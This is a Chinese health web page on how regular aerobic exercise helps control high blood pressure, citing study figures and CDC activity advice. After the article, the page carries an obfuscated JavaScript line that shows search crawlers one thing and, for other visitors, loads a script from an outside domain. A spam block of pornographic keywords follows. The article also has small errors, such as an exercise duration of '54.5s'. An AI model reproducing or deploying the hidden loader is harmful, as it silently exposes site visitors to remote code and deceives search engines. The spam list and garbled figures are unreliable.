當前位置:首頁 > 健康 > 運動健身 > 正文

運動對血壓的控制

2017-04-14 15:00:16  來源:360常識網(wǎng)   熱度:
導(dǎo)語:我們知道運動對于我們?nèi)梭w有著非常重要的作用,經(jīng)常運動是可以有效提高我們?nèi)梭w的免疫力和抗病的能力,所以很多人都有運動的好習(xí)慣,但那是

我們知道運動對于我們?nèi)梭w有著非常重要的作用,經(jīng)常運動是可以有效提高我們?nèi)梭w的免疫力和抗病的能力,所以很多人都有運動的好習(xí)慣,但那是我們可能還不知道運動其實還有利于控制我們的血壓呢,運動對于血壓的控制是有很好的作用,一起看看下文關(guān)于運動對血壓的控制的介紹。

運動對血壓的控制是非常有效的,食用高血壓的患者可以適當?shù)倪\動一下來起到控制血壓的好處,那么我們應(yīng)該選擇哪些運動才對于血壓比較有效呢?

眾多研究表明,有規(guī)律的有氧運動可以有效地預(yù)防和治療高血壓。舒張壓運動反應(yīng)可獨立地預(yù)測男性和女性高血壓,其機率分別為4.2和2.2。通過對年齡、基線血壓、體脂和其他混雜因素校正后,發(fā)現(xiàn)活動最少的男性發(fā)生高血壓的相對風(fēng)險比經(jīng)常活動組高1.9倍。

對女性的研究沒有發(fā)現(xiàn)在體力活動水平與發(fā)生高血壓風(fēng)險之間存在顯著和獨立的關(guān)系。美國疾病控制和預(yù)防中心公布的運動建議中推薦:每周至少5天,每天進行30分鐘以上中等強度的有氧運動(包括快步走、慢跑、游泳、爬山、各種球類運動等)。在研究中,規(guī)律運動者舒張壓低于非規(guī)律運動者,且大部分以散步為主(占49.4%),運動次數(shù)約6.8次/周,時間平均可達54.5s,而非規(guī)律運動者約占24.4%,可見大多數(shù)患者能夠積極參與運動,且運動次數(shù)合理、時間足夠長,但運動方式過于單一,這可能與研究中選擇的人群以老年人居多,活動能力有限,同時由于社會環(huán)境或老年人自我調(diào)節(jié)能力差,家屬、醫(yī)護人員關(guān)心不夠等原因,因此應(yīng)當建立更多的社區(qū)活動場所、組織各項適合老年人的健身活動,如太極拳、門球、氣功等有氧運動。

此外,運動還可影響高血壓的治療,通過對輕中度高血壓患者給予運動指導(dǎo)后發(fā)現(xiàn),體育鍛煉組的收縮壓、舒張壓均有明顯下降,且對于己使用藥物治療的高血壓患者,體育鍛煉能協(xié)同降壓作用,從而減少使用降壓藥的種類和劑量。規(guī)律運動的高血壓患者收縮壓及舒張壓下降幅度均明顯大于非規(guī)律運動者,且降壓有效率高于非規(guī)律運動者。可見規(guī)律運動對于提高降壓達標率有著十分重要的作用。

上文我們介紹了運動有多種好處,我們經(jīng)常運動是可以提高我們的體質(zhì),讓我們的免疫功能和抗病能力更強,運動對血壓的控制是非常有效的,所以我們可以多運動來起到控制血壓的好處,上文的介紹相信對大家是有幫助的。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
天堂精品高清1区2区3区| 在线精品一区二区三区| 在线涩涩免费观看国产精品| 精品无码一区二区三区水蜜桃| 亚洲色无码国产精品网站可下载| 97久久精品一区二区三区| 精品久久香蕉国产线看观看亚洲| 国产成人无码精品久久久免费| 国产成人高清精品免费软件| 思思99re66在线精品免费观看 | 久久久国产精品四虎| 日韩国产精品无码一区二区三区 | 国产福利在线观看精品| 久久精品国产男包| 久久久久久久久久久精品尤物 | 人妻少妇精品视频一区二区三区| 欧洲精品视频在线观看| 九九热这里只有在线精品视| 国产精品无码无需播放器| 国内大量偷窥精品视频| 亚洲日韩国产精品第一页一区| 99精品在线播放| 777午夜精品久久av蜜臀| 99麻豆久久久国产精品免费| 综合在线视频精品专区| 国产精品久久久亚洲| 久久精品国产99久久| 日韩精品久久久肉伦网站| 97精品人人妻人人| 国产精品一区二区久久| 亚洲精品无码久久久久久| 在线观看精品视频一区二区三区| 日本精品αv中文字幕| 精品一区二区三区在线播放 | 91国内揄拍国内精品情侣对白| 久久精品国产免费观看三人同眠| 97热久久免费频精品99| 国产精品国语自产拍在线观看| www国产亚洲精品久久久| 成人区人妻精品一区二区不卡网站| 日本无码小泬粉嫩精品图|